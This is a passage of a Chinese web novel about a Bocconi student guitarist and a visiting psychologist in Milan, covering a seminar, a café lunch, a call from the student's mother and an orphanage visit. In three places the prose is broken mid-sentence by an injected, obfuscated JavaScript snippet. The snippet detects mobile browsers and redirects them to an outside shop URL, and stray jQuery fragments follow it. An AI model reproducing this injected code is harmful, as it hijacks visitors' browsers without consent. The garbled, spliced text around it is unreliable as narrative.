沈叙白有些不想再继续这个问题,他本能地想要逃避——就像是过去的三年里,每当有人因为他的学历而对他的演奏有疑问时那样,这已经成为了他下意识的想法。
他的内心再一次涌出了想要结束和这个人交往的念头,反正该问的都已经问了,至于那首他答应会再次演奏的《Le onde》,又有谁会记得呢?
“好学生和音乐,又有什么关系。”在沈叙白迈出脚步之前,方锐寻开口答道,“我很喜欢你的演奏。”
我很喜欢你的演奏。
5. 会是他吗
米兰大学附属医院研究中心,晚上8:36。
最近淅淅沥沥的雨总算消停了一会,今晚的天空没有被蒙上灰蒙蒙的云,倒是隐约可以看到闪烁的星星,冷风顺着没有关紧的窗户溜进来,钻进方锐寻的领子,让他顿时起了一身鸡皮疙瘩。
他起身向窗外看,远处街道的灯光还依稀可见,等过会起了雾,这些小光点都会变成一片朦胧的光晕。
方锐寻吸了一下鼻子,扶了一下有些下滑的眼镜框,抬手关紧了窗户,紧接着,他听见林薇的声音。
“方,明天上午的研讨会行程确定了,Bocconi那边把最终的议程发过来了。”
“嗯,还是原定的主题吗?”
不远处的林薇滑动着鼠标,视线认真扫过电脑屏幕上的邮件:“对,全球化课堂的心理平衡,但是他们新增了一个环节,想让我们以文化特异性的视角,回应当天意方学者提出的数据。”
林薇抬头顿了顿,继续开口道:“你准备的那些关于自我认同建构的案例,很适合明天拿出来讨论。”
方锐寻重新坐回办公位,打开自己的笔记本电脑:“唔......确实很适合,不过根据之前的交流,Bocconi那里的压力,恐怕......”
“是的,所以这次交流很重要,我们不能总是在医院,要去压力产生的地方看看。”
“明白,我会好好准备。”
林薇觉得今晚的方锐寻有些奇怪,她的印象里,共事的这几年,他给她的印象一直是一个充满活力的学者或是医生形象,这种交流机会来之不易,为什么看起来反而有些闷闷不乐。
“你今晚......怎么了?”
“嗯?”
“是遇到了什么问题了吗?”
“那倒没有,我只是在想,有没有Bocconi的学生会同时喜欢音乐呢?”
“说不准呢,你前段时间不是说,想要找一些有艺术表达习惯的个例吗?说不定明天可以遇到。”林薇笑了一下,“不过也说不准,像Bocconi这样的学校,大家都是注重效率的精英阶层,大多数人都会把音乐归结到不务正业的范畴去。”
此刻,方锐寻的眼前又恍惚出现了沈叙白站在吧台边的身影,那个青年拎着吉他,带着试探地问他:
“你现在也觉得,我并不是一个好学生吗?”
“那就这样,明早见,方。”
林薇的声音打断了方锐寻的思绪,她已经合上了自己的笔记本电脑,拿上手提包,莞尔一笑,“有事电话联系。”
办公室的门被轻轻关上,屋内只剩下方锐寻一个人。
林薇说在Bocconi不一定能找到同时热爱音乐的学生,这句话倒是不假。一个月前他们提出课题后开始与Bocconi的学生部解除,就意识到了过于压抑的竞争环境。
那是一个极度注重效率和成果的地方,作为全球顶尖的商业院校,在校友遍布意大利各顶级投行、咨询公司以及跨国企业高层的Bocconi,音乐这种业余爱好通常会被认为是“浪费时间”。
那沈叙白呢?
他是不是时常因为音乐被他人认为是不务正业?
所以他才会在方锐寻知道他是Bocconi的学生,并且时常在酒吧驻唱的时候,像防备那些对他有不一样看法的人一样,问出那句:
“你现在也觉得,我并不是一个好学生吗?”
两个月多前,在狭小的机舱里度过了与外界断联的十几个小时,方锐寻的脚步终于落在登机梯上,异国的风带着米兰独有的气息轻轻拂过鬓角,他看了一眼不远处的航站楼,把身影融入意大利的黄昏。
马尔彭萨是米兰最大、最主要的国际机场,承接了绝大多数国际航班,无数航班在这里起起落落,来往人们的发色、瞳孔、皮肤颜色都带着自己民族的特色,没有人会注意到这个摆渡车角落的男人,他的眼里有一丝空洞和茫然。
方锐寻自认为并不是一个低精力的人,在杭州工作时,就算前一天晚上工作到半夜,只要回家倒头睡一觉,第二天也能像没事人一样。
按照林薇对他的评价,他应该算是天选打工人——所有老板都最喜欢的那种。
可现在却像是被耗尽了一般,作为专业的心理医生,他也给自己做过确切的分析,条理分明,能给人很强的说服力,但这次擅长引导患者的方锐寻却怎么也开解不了自己。
他感觉自己就像是在陌生环境里被迫持续运行,却找不到适配接口的设备,这样的工作环境和状态,让他感觉每一件小事都在耗电——理解口音耗电、猜测文化潜台词耗电、艰巨的课题任务耗电......就连现在他在这里解释自己的状态,也是在耗电。
内耗不断消磨着他,似乎人们常说的“好好睡一觉”也不管用了,就像是在米兰的冬天穿着一件湿掉的大衣,不至于让人冷到完全失去意识,但每一个细胞、每一条神经都在发抖。
方锐寻浅浅叹了一口气,合上面前的笔记本电脑,拿起公文包,关灯锁门,走进夜色。
地铁黄线Porta Romana站涌出的人流最多,学生们从遍布米兰各处的公寓亦或是合租房中汇入这里,大多数学生都会在Bocconi校区南部的现代化公寓楼租房,校园周边的公寓楼安全、崭新、国际化,除了价格昂贵确实让人挑不出其他毛病,是很多富裕家庭和年轻银行家的首选。
沈叙白像平常一样背着双肩包,手拿一杯咖啡,夹杂在人群中走入学校,这是一个普通到不能再普通的日子,一整个上午都被课程填满,按照计划,午饭后他会去图书馆完成昨天还没做完的课题分析。
距离上一次去Visonni又过去了一个周,转眼已经到了一年的最后一个月,硕士以来的学业压力倍增,尤其是面对不久之后的期末,手中需要完成的三个课题让他有些力不从心。
所以,不出意外的话,这将会是忙碌且毫无波澜的一天。
研究室的工作人员告诉方锐寻Bocconi周边交通拥堵且不好停车,一整片都是限行区,于是他今天没有开研究中心配的车,准备好一切后直接坐电车从公寓出发前往Bocconi。
林薇在研讨会外面的大厅里等他,她比方锐寻提前了五分钟,前厅的暖气也很足,于是她脱下那件质感不错的米兰色大衣,露出里面的灰紫色连衣裙,工作牌戴在身前,正和一位意大利的学者交流些什么,不时礼貌地点头与微笑,阳光透过玻璃落在她的深棕色卷发上,勾勒出细致的轮廓。
“方,早上好。”
刚和别人交谈完,林薇就看到走过来的方锐寻。
“早,会议应该还有一会吧。”
“是,还有二十分钟入场。”林薇把拎着的焦糖色皮质公文包换了只手,把自己的卷发向后理了理,像是突然想起来些什么,“今天天气不错,是个晴天,会议结束以后在学校逛逛吗?”
“如果时间来得及,这当然是一个好机会。”
“是啊,你昨晚不是还问,Bocconi会不会有喜欢音乐的学生,今天刚好可以了解一下。”
“好。”
说着,方锐寻突然想到了沈叙白。
他现在也在学校里吗?
窗外来去匆
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146252|196379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
匆的人群里,有没有他的身影?
在忙碌中,一上午的时间总是过得飞快,讲台上的教授终于讲完了今天的最后一个课题,留下一连串足以让所有人哀嚎的作业,沈叙白写完笔记上的最后一个字,重重地叹了一口气,像是电量耗尽一般靠在椅背上。
得,这个周末又别想过了。
他收拾好东西准备起身离开,这时兜里的手机忽然震动了一下,沈叙白瞄了一眼,是徐迟给他发了一条消息。
“明天下午福利院有活动,一起去吗?”
“不了,最近的作业太多。”
沈叙白无奈地笑了笑,回复完消息以后,他把东西放进背包装好,离开了阶梯教室。
只是他刚走到楼梯道,徐迟地电话就打了过来。
“欸我说大忙人啊,知道你忙,可是明天是周末,周末啊。”
电话里冒出男生的声音,闹得让沈叙白把手机从耳边挪远了一点,虽然看不到人,但从声音判断徐迟的激动程度,不亚于一只棕熊突然落到Bocconi的教学楼前。
“走不开啊,课题太多了。”
“周末啊。”
“我知道。”
“就半天。”
“那也没时间。”
看样子“周末”和“半天”并不能说服此刻的沈叙白,于是徐迟犹豫了几秒,哎了一声:“算了我直接告诉你吧,上次咱们一起参与的活动,你还记得吗?”
“记得啊,怎么了?”说到这,沈叙白脑中突然闪过些从前在新闻中看到的,因为去福利院进行交流活动反而被指控的案件,他不由自主地开始回忆自己当天的一言一行,停在了楼梯间的角落,眉间不自觉地皱了皱,低声问,“是出问题了吗?”
“不是”,徐迟在电话那边嘿嘿了两声,“是效果太好了,工作人员打电话过来说那边的孩子很喜欢你,想让咱们再过去一次。”
沈叙白愣了一下,眼前仿佛出现了上一次福利院里的场景,孩子们围着他,虽然眼中还露出一丝胆怯,但掩盖不住的是眼底欣喜的光芒。
徐迟很快便感受到了他的动摇,于是抓紧机会问道:“如果是这样的话,你去吗?”
沈叙白又犹豫了两秒,于是电话那头的人便什么都不顾了一般,什么技俩都用出来了,赶忙抓紧道:“就半天,就半天,哎呦你舍得拒绝我吗叙白宝贝儿......”
徐迟这人一开玩笑就没皮没脸,得亏现在是下课,周围来往的都是课程结束的学生,人声喧闹,除了沈叙白,也不会有人听到电话那头的人正在口出什么狂言。
“行行行,别撒娇了”,沈叙白笑着往窗外看,今天的天气很好,如果他有时间的话,大概率会在周末出门散步——当然临近期末就没这个机会了,“那就这样,明天下午见。”
“好嘞。”
沈叙白下到一楼,准备趁着中午的时间去学校周边的一个公园逛逛,吃个午饭再继续到图书馆写作业,这所学校里他熟悉的人不多,除了在社团结交的朋友和认识的几个中国留学生,便只有校外的徐迟。
最近Bocconi的学生都很忙,除了要和他一起去福利院参加活动的徐迟应该没有人会约他。
直到阳光落在脚边,他已经站在了金融学院教学楼大门前的台阶上。
不远处有一个让他熟悉的背影,这个人曾经坐在Visonni的吧台前,跟他笑道,“看来我猜对了。”
他此刻正穿着浅灰色的西装上,深冷棕颜色的头发在阳光下显出独特的纹理,他拎着黑色的手提包,和一位卷发的女士交谈着什么。
会是他吗?
6. 否定
沈叙白脑中跳出那个名字的时候,他下意识觉得这个人是来讨债的。
因为自己还有一个承诺没有践行。
——关于那一首《Le onde》
站在几节台阶上,这个角度不免有些居高临下。今天的风没有带着潮湿的气息,而是干燥的、阳光的味道,吹到男人身边的时候轻轻扬了一下他的下摆,露出衬衣的一角。
沈叙白还愣在原地,对面的人很自然地转身,似乎刚才只是和那位女士交谈到激动的地方,所以两人都默契地停下来,而现在话题结束了,便是继续往前走。
只是出乎意料的是,他们刚踏出没几步,男人就像是装了雷达般感受到了不远处投射来的目光,他把视线挪到另一边,便顺理成章地看到了沈叙白。
目光相撞的一瞬间,证实了沈叙白的的猜测。
——那就是方锐寻。
他今日的穿着和前两次在酒吧的样子完全不同,没穿那件简单随意的夹克,也没摆出那副一切都无所谓的低沉样子。
今天的他看着十分考究,西装外套裁剪得恰到好处,勾勒出极为优越的身体线条和比例,沈叙白突然想,现在其他人一定不会想到他在酒吧里也会有茫然和狼狈的样子,也会借着窗外的霓虹,仰头咽下冰冷的酒液。
方锐寻看到沈叙白的一瞬间,也不可避免地愣了一下,林薇的声音还在源源不断地传到耳边,但可能在心脏突然漏掉的一拍里听觉也会失效。
不过幸好,他回过神的时候,林薇问的一个无关乎学术的问题:
“已经不早了,方,是去校外随便吃点还是回医院再说?”
“唔......”方锐寻思考了一下,林薇给出的选项他一个也不想选,于是任凭内心纠结了两秒,回答道:“要不你先回医院吧,我在学校里再逛一逛。”
“看来是你还是想在这里找一个热爱音乐的学生吗?”林薇向四周看了一下,果然,顺着沈叙白刚刚走神的目光望去,不远处的台阶上站着一个人。他很年轻,看样子,这是一个刚上完课的学生。虽然他正低头看手机,但是作为专业的心理医生,林薇很轻易就看出了那只是掩饰的动作。
因为就在三秒前,那个学生小幅度地抬了一下头,用余光往这边瞄了一眼。
他是在等人。
他目光所及之处只有自己和方锐寻两人,既然与自己无关,那答案就很显而易见了。
他在等方锐寻。
林薇不着痕迹地笑了,不过并没有挑明,只是试探地问道:
“看来这个案例你已经有好的人选了?”
“当然没有”,方锐寻并没有把认识沈叙白这件事告诉林薇,于是干脆直接否定了林薇的猜测,“上午的会议太累了,我想再散步休息一下而已。”
事实上,他在一个月多月前就想要找一个喜爱音乐的Bocconi的学生进行走访调查,作为他在意大利交流学习成果的案例,只是在了解Bocconi之后,他近乎放弃了这个念头。
这里不像是应该有“业余爱好”的地方。
只是命运安排的相遇总是出人意料。
措不及防的一首《Hallelujah》,偶然间抬眼遇到的那个青年人,改编的F调,就连眼里的光都如此相似。如果沈叙白同意,他会是很合适的一个案例。
但他也从未想过让沈叙白成为这个案例。
应该说是见到沈叙白的那一刻起,他就把这个想法深深地压了下去。
如果作为心理医生,自己所遇到的每一个人,包括他本人,都可以成为观察、分析的样本。
但仅作为他自己,九年前,他只想成为那个能守护弟弟梦想的人。
而如今,当他在异国他乡见到这个在梦想与现实间有些摇摆的少年,他竟然顺着对弟弟的感情,想去支持他的热爱。
哪怕只是一点点。
九年前他没有做到,那现在呢?
他曾这样问过自己。
就让他保留这一点私心吧,让他永远都不要变成那些冰冷的数据分析。
一个被困在暴风雪中的人需要的是避风港,而不是告诉他此刻的风向和暴雪级别。
“你最近太累了,多休息也是好的。”听到方锐寻的否定,林薇没有再问什么。
今天和一位意大利学者告别,他说Bocconi校园很有设计感,天气好的时候在校园小路上散步,这是一件很美好的事情。
给他们意见的人给他们指了一条大路,可很可惜,它并没有被方锐寻选择。
他像是很了解学校的地图似的,轻车熟路地踏上了另外一条,自然而然就停在了金融学院教学楼的门口。
但她并不会说破。
“那我就先回医院了,晚点见,方。”
说着,林薇拎着手提包,踏着高跟鞋离开了。
见到那个背影的一瞬间,沈叙白想过自己到底该走还是停下来看看,徐迟刚刚打来的电话分走了明天下午的自习时间,原本的安排被再次压缩,按理说他应该转身就走,装作完全没看到。
更何况,谁知道那是不是方锐寻呢。
但他的脚步还是停住了,直到目光相撞,要是再装作不认识转身就走,就太不礼貌了。
和之前不一样的是,沈叙白的身边站着一个女人,也穿着考究的职业装,看样子是同事,不过当她发现自己的目光时,他已经拿着手机装模作样了起来。
沈叙白常常觉得自己的演技很好,这种谜之自信不知从何而来,自以为表现得游刃有余,连奥斯卡来了都得给他颁奖,可时常,一个躲闪的眼神,手指下意识的动作就轻而易举地出卖了他。
就比如,他当初通红的耳尖。
沈叙白的大脑飞速旋转了一下,直觉告诉自己应该直接过去打个招呼,然后按照计划吃完午饭,继续去泡图书馆。
就在这时,那个女人突然离开了。
紧接着引入眼帘的是方锐寻靠近的身影。
“刚下课?”
“嗯。”
“吃午饭了吗?”
“还没有”,沈叙白把肩带往上揽了一下,往远处看了一下,“你怎么在这里?”
“在你们学校有一个研讨会。”
研讨会?在Bocconi?
他到底是什么职业的?
沈叙白突然意识到,尽管在酒吧相遇了两次,自己却对方锐寻一无所知。
除了知道对方姓方名锐寻外,连他是干什么的都不知道。
“你......”
“没吃饭的话,今天我请你,怎么样?”
在短暂的休息时间里,他不是那个理性沉静的方医生。
面对这个少年,他只想做一个曾经没做到的好哥哥。
就当他有点自私吧。
“你很了解Bocconi吗?”
“没有。”
“那你准备去哪里吃午饭?”
“你平常去哪里吃午饭?”
方锐寻进学校之前就了解了一下周边,加上之前对Bocconi的考察,他知道这里大多数学生中午为了节省时间,通常会到学校附近餐厅或者食堂解决午饭。
他不想打扰沈叙白原本的生活,所以即使想请沈叙白共进午餐,也要按照对方的生活习惯来。
只是他很意外,沈叙白没有直接带他去周边的餐厅,也没说去食堂,而是歪了歪头:
“我去的地方比较远,你着急回去吗?”
“当然不,现在是休息时间。”
“那跟我来。”
沈叙白带他离开了Bocconi,经过将近十分钟的步行,他们来到了一个有些远的公园,而公园的一角,是一家咖啡馆。
这家店并没有开在更加显眼的公园中央或者门口,而是选择了一个有些偏僻的角落,相比之下,这里比其他地方
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146253|196379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都安静的多。
“你经常来这里吃午饭吗?”
“嗯。”沈叙白到前台点完餐,和方锐寻一同坐在咖啡馆小院里,他以为对方会问他为什么要选择这么远的地方——因为已经有无数个人这样问他了。
不过没有,方锐寻深深地吸了一口气,相比于刚才站在金融学院楼下交谈的严肃状态,他似乎已经完全放松下来。
“你为什......”沈叙白突然想起刚才在楼下还没问完的话,犹豫再三,却发现怎么开口都不太好。
可他又忽然想起,方锐寻之前总能在不知道该如何开口的时候洞穿他的心思,于是他停了下来,想让对方接着他的话说下去。
这样最好了,那就是对方想让他问出的问题了。
沈叙白在内心偷偷笑了一下,准备像夸自己的演技那样再夸一下自己绝妙的脑回路。
可他似乎少拐了一个弯——那方锐寻知不知道自己现在的想法呢?
这次并没有让他如愿。
方锐寻沐浴在阳光里,落在沈叙白身上眼神很温柔,就连那个笑容也仿佛融化在了阳光中。
“你......”沈叙白假装咳了一声,大脑飞速旋转,在慌张中最后问出一个和自己原本想法相差十万八千里的问题:“你什么时候要回去?”
“下午,我下午回医院。”
方锐寻的回答主动给接下来的对话剪开一个口,顺着这个答案,沈叙白可以很自然地问出下面的问题。
或者说,他读懂了沈叙白刚才的欲言又止。
就像是外出寻找坚果的松鼠,刚因为往嘴里塞满坚果而内心窃喜,回家却发现储存坚果的树干不见了。
那一瞬间的慌乱,就像突然从梦中惊醒的猫科动物,未免太有趣了。
“医院?”
这服务生把两份咖啡甜品放在小木桌上,沈叙白道完谢后继续问:“你是医生?”
“是,但也不是。”
“什么意思?"
“在国内的时候我是医生,但在这里我不是”,方锐寻端起面前的咖啡抿了一口,咖啡醇香的味道充斥着口腔,“我是心理医生,来意大利交流学习。”
“那你......能猜到我现在在想什么吗?”
“当然不能。”
“哦......我还以为......”
“以为我们心理医生都会读心术吗?这当然不可能,不过见过你这么多次,我倒是发现了一件事。”
“什么?”
听到这,沈叙白不免有些紧张,方锐寻是他接触到的第一个有关心理学的,此刻说察觉到了一些事情,他自然有点心跳加速。
“你总是爱否定自己。”
“没有吧。”
“你看,你现在又在否定。”
我明明是在否定你。
偷换概念,无赖吗?
不过方锐寻似乎没感受到对方在心里对自己的编排,他向四周看了看,这里离学校比较远,人不多,“这里好美。”
“当然,不然我会选择在这里度过中午那宝贵的半个小时么?”话刚出口,沈叙白就意识到,自己刚刚就像向长辈讨夸奖的小孩子。
他突然有点尴尬。
怎么开口前又忘了想一下啊。
“这里的风格和你很像。”
“啊?”
“感觉很适合在这里弹吉他。”
“不过我从来没在这里弹过吉他,能来这里的时间太短,我通常只会听几首歌,然后赶回去上课。”
“当然,你们的学业太忙了,研讨会之前了解过你们学校学生的日常,实在是......”
“为什么要了解我们的日常?”
“唔......这和我的研究课题有关,不过不重要,我接近你不是因为这个。”
接着,他对沈叙笑了笑,说道:
“你的压力看起来很大。”
7. 阴天
一直到中午,沈叙白才迷迷糊糊睁开眼,抬手拉开窗帘一角,天空灰蒙蒙的,像是一整块幕布一样压下来,让人有些喘不上气。
约好要和徐迟一起去福利院,于是昨晚为了赶课题熬了一个大夜,沈叙白胡乱揉了一把头发,眯着眼睛坐起来。
今天本就是阴天,还拉着窗帘,屋里很暗,桌上的笔记本电脑侧角显示灯正随着一定的频率明灭交错,是凌晨十分,沈叙白终于写完作业,草率地合上了,昏睡过去只是一瞬间的事情,他没有在乎电脑是不是待机状态。
起床捯饬了一下自己,沈叙白穿上厚重的大衣,拎着吉他出门了。
福利院不在市区,而是在二十多公里外的一个小镇上。距离有点远,他打算打车去。
不过,今天刚上车,手机铃声就响了。
沈叙白以为是徐迟打来的,便内心愉悦地从兜里拿手机,当他看到来电提醒上的备注,表情就木在脸上,笑容也黯淡下去几分。
是母亲打来的。
现在是中午十二点,隔着七个小时的时差,八千公里外北京现在天都没亮,寒冬腊月,早上五点多,给自己打电话干什么?
一万个不想接,沈叙白心想。
手机不断震动着,已经响了十来声了,再不接的话,电话就会自动挂断,然后同一个电话号码,会再次打过来。
他不能不接,深呼吸一口,按下接通键。
果不其然,听筒中传来了女人不满的声音:
“为什么这么久不接电话?”
“哦,妈”,沈叙白先是正了正自己的脸色,确保声音听起来一切如常,才继续开口道:
“准备出门,导师布置的作业,手上拿的东西多,有点匆忙。”
“都跟你说过多少次了,从小到大,什么事情都要赶在前面,你这样匆匆忙忙,最后又犯错误。”
“我.......”沈叙白脑中一闪,然后把剩下那半句“没有”硬生生咽回肚子里,抓着手机笑了一下,用听起来更加乖巧的声音:“知道了妈,听你的。”
“马上就要期末了,你有没有准备好?”
这个问题,沈叙白想了很多年,似乎从他十几年前,人生中第一次接触考试起,母亲每一次都会问这个问题。
可是他思考了这么多年,但却从来没有给出一个让她满意的答案。
如果是肯定的,就会被批评一顿骄傲,万一成绩不理想只会让自己落在更不好的处境里;如果答案是否定的,那就会责怪他过去为什么不认真。
他试过很多次,既然什么都不行,所以最后,沈叙白选择了沉默。
愣了一下过后,沈叙白跟之前一样,没有开口。
对面等了十来秒,没有得到答复,女人的声调顿时提高了不少,愤怒顺着电波化为此刻有些刺耳的声音,沈叙白像是已经习惯了似的,把手机放远了些,然后把视线转向窗外。
“我操心了多少才把你送出去读书,你是去外面享福的吗?我告诉你沈叙白,我丢不起这个人.......”
“你也要像他一样吗?你也要像他一样来伤害我吗?”
沈叙白面无表情地等着女人吼完,然后近乎平静地回复:
“知道了妈,我会努力的。”
但是他的这句话并不能让女人的怒火熄灭,又或者她打这一通电话,就只是把怒火发到他身上罢了。
“你们......你们都是这种东西,沈叙白我告诉你,别以为你在国外我就管不了你了......你跟,你跟他,都不是好东西。”
女人还在吼着什么,和之前很多次都一样,沈叙白熟悉到连她下一句要说什么都知道,不过他没有试图争辩什么,窗外的风景不断闪过,他的内心在无数个这样的电话之后已经变得如同一潭死水。
最终,电话被那头的人直接挂断,沈叙白放下手机,仿佛一切都被封了一层冰霜,原本有些期待的情绪此刻也近乎麻木,他什么也感受不到了。
发呆了四十多分钟,出租车停在了福利院门口。
沈叙白朝路边看了一眼,路边的杆子上挂了一块木板,被人用丙烯颜料写着“La Casa dell’Eco”。
——回声之家。
木板边缘是五彩斑斓的手印,沈叙白把自己的手放上去对比了一下——大得多,看这些手掌印的尺寸,大概率是福利院里面的孩子印上去的。
“Silas,我在这。”
沈叙白回头,是徐迟。
他今天没有戴眼镜,一头蜜色的自来卷,还有几撮不听话的卷毛落在额头上,他抬手随意地往后顺了顺,开口道:
“上次咱们来的时候院长没在,但他听孩子们说很喜欢你,所以今天专门来了。”
“是陈先生么?”
“是,今天的活动内容也不多,就是演奏几首歌,然后陪陪孩子们,回答他们关于音乐和建筑的一些问题。”
“好。”
沈叙白演奏的地方是一个小礼堂,因为福利院基本都是孩子的缘故,墙上画了很多卡通图案,架子上也堆满了孩子们的手工作品,五颜六色的,像是不同口味的糖果。
他望着墙角边的画笔和颜料,扫视一圈,最后把目光落在不远处新出现的,还没干透的图案上,于是转身问徐迟:
“那边,是你新画的吧。”
“是。”
“啧......”沈叙白看着墙面上两个风格截然不同的卡通形象,思考着该如何开口,“这是动漫里的人物?”
“当然。”
“这是一部动漫里面的吗?”
“当然不是。”
“我就说呢,那为什么......”
“你可以猜一下”,徐迟有些神秘地一笑,“院长让我留个纪念,所以我想了想,画了两个动漫里的人物。”
“第一个,那个正在弹奏钢琴的女孩,是野田惠?”【注1】
沈叙白努力搜刮着脑中对于动漫的一切记忆,他依稀记得小时候抱着手机躲在被窝里看的动漫,那时候他不仅不敢发出任何声音,也不敢带耳机——他要随时注意房间门口的脚步声,在有人靠近的时候迅速摁熄屏幕,装作一副睡熟的模样。
而面前那个灿烂微笑,神采飞扬的女孩,穿过时光,与多年前被窝里昏暗光线中的模样重合。
他在黑暗虽然中从未听过她演奏的钢琴曲,但她的笑容却被印刻在了脑海深处。
“天,你看过啊。”
徐迟作为资深二次元,对身边的朋友看不看、看多少动漫了如指掌,认识沈叙白两年多,他还从未听沈叙白提过动漫。
所以此刻,他是震惊的。
“另外那一个是谁?”
沈叙白指着墙上一个系着围裙的人,手中攥着一把刻刀,脚边似乎是半成品,他靠在钢琴旁边,似乎正在和不远处的人物雕塑说话。
“《蜂蜜与四叶草》,看过么?"【注2】
“没有。”
“好吧,看你刚才猜到了《交响情人梦》,我怕还以为这个你也看过。“
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146254|196379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>沈叙白轻轻摇了摇头。
“那个雕塑家,代表你吗?”
“这么快就猜到了啊”,徐迟有些灰心地用指尖扫了一下鼻子,“我想着可以用两个动漫人物来代表咱们,只是一部番里既有音乐家又有建筑师的组合太少,于是只好用了两部番里的角色。”
“所以......”
所以那个弹钢琴的女孩,是代表自己吗?
徐迟肯定了他的想法。
“所以那个女孩,代表你。”
看到沈叙白有些木然的眼神,徐迟以为是自己选的人物角色让他感到不满,惹他不高兴了,所以连忙问道:
“叙白,生气了吗?是不是我选了一个女角色,所以你.....”
“不是”,沈叙白抬头对徐迟笑了一下,左眼下那颗小小的痣在礼堂暖色调的灯光下也衬得他温柔起来,“我很喜欢”。
真的特别喜欢。
只是......她那样自信洋溢,和自己完全不同。
“那就好,我总觉得你每次演奏的时候,和她很像。”
徐迟的话让沈叙白愣在原地。
你眼里的光,和那个女孩,一模一样。
徐迟这样想,但他不知道自己的意思,沈叙白有没有理解到。
此刻,方锐寻刚接待完一个案例,他把对方送上车,转身走向研究中心的大楼。
将近三小时的交谈让他有些疲惫,于是走进办公室以后给自己重新泡上一杯咖啡。今天的米兰天气阴沉,他出门一趟打了好几个喷嚏。
又降温了。
但他也不是很在意,在国内的时候时常健身,一年到头也感冒不了两次。一点小小的寒流而已,就算着凉一下,撑两天就能好。
“方,关于进行文化交流活动的事,我整理了一些资料,咱们来商量一下。”
“好。”
“主要有四家,栩光、仁莞、和时还有回声。”
林薇把手上厚重的一叠资料放在桌上,拿起上面的一半递给方锐寻,“你看一下,这是他们的资料,上面有最近活动的记录,咱们可以参考。”
方锐寻草草翻了一下上面三本,活动不多,大多数活动都是捐赠仪式,一群人站在园区门口,拉开横幅有些僵硬地拍照。
感觉有些无聊,此刻他正翻开最后一本,便开口道:
“随便......”他的目光落在这一本的第一页上,这一页里夹着一张照片,刚看清人,刚到嘴边的“随便选一个”被他硬生生拦了下来,刚才的话没了下文。
“嗯?”
方锐寻的指尖停留在一张照片上,上面有一个熟悉的面孔。
是沈叙白。
“这是什么活动?”
林薇低头看了一眼他手中的照片,“你这是回声之家吧?这家的院长是华裔,早年在这里创业成功后便建了这家福利院。你现在这张,好像是他们院里上周举行的交流活动。”
方锐寻指尖翻转了一下,照片后有一行小小的字迹。
“12月5日福利院音乐与建筑交流活动。”
沈叙白站在另一个学生模样的男生身边,他正拎着吉他,另一只手搭在一个小男孩的肩膀上,笑意中带着满足。
他也去那里吗?
“回声之家邀请过几次艺术系的学生过去和孩子们做交流活动,加上院长的华裔身份,咱们过去做交流也会便利很多。”
“那很好,咱们和这家沟通一下,如果同意的话,就选这里。”
“好。”
8. 意义
这是沈叙白第一次见到陈秋实。
如徐迟所言,这是一位和蔼的先生,一件朴素的灰色针织马甲,虽然没什么装饰,但容易拉近他的距离感,让人看到第一眼就会想到经常在楼下散步和孩子们一起玩的老人。
其实事实也的确如此,此刻眼镜下慈祥的目光正无声地落在屋内专注的孩子们身上。
沈叙白在演奏时不经意抬头,刚好对上了这位老先生的目光,带着温柔和鼓励的意味,让沈叙白愣了一瞬。
表演与交流结束后,沈叙白和徐迟被被邀请到院长的办公室。
办公室在福利院主楼的背后,中间隔着供孩子们活动玩耍的小院子,整个院子都是典型的中式装修,在意大利很少见到有如此鲜明中国风格的建筑,不由得让他们眼前一亮。
“老了,容易怀旧。”
院长陈秋实察觉到他们的目光,便笑着和他们介绍:“这个院子,是按照小时候我家里的院子复刻的,虽然很多细节都记不清了,但是总归能让我心里有点慰藉。”
徐迟回头看了一眼,刚刚走进院子的时候他看到,大楼与院子相接的地方,是一扇月洞门,从门外往里看,院落内的景象便是满月的形状。
此刻脚下踩着的是青砖铺成的小路,今天天气不算晴朗,青砖的颜色有些深,看上去很冷。
不远处有一棵杏树,站在那里应该已经有了不少岁月,因为冬季来临,已经没有叶子的装饰,只剩下粗壮的枝干,上面绕了用两根编织过的粗麻绳,底部穿过一块木板,便组成了一个简易秋千。几个孩子围在树下嬉闹着,他们争抢着秋千,用“孩子们”的方式来决定先后顺序。
院子深处就是办公室,两层的高度,和这一整座院子一样,都是中式的装修,层层叠叠的青瓦,屋檐边还有燕子筑起的巢穴。
陈秋实把他们带进办公室,花梨的实木沙发后面是一幅水墨山水画,旁边是软笔书法写的“平安”,被装裱在红木框中,墙角立着落地宫灯,洒下温和的光线,让屋内染上一层暖调。
另一边的墙上是孩子们的绘画作品和写下的字迹,还有一些照片,无声地展示着在这座福利院里流过的时光。
陈秋实向身边的护工点了下头,沏好的茶放在茶几上,“上次我刚好出差,听护工说你们的交流很成功,所以又邀请了一次。”
“是我们的荣幸。”
徐迟点头礼貌地回答。
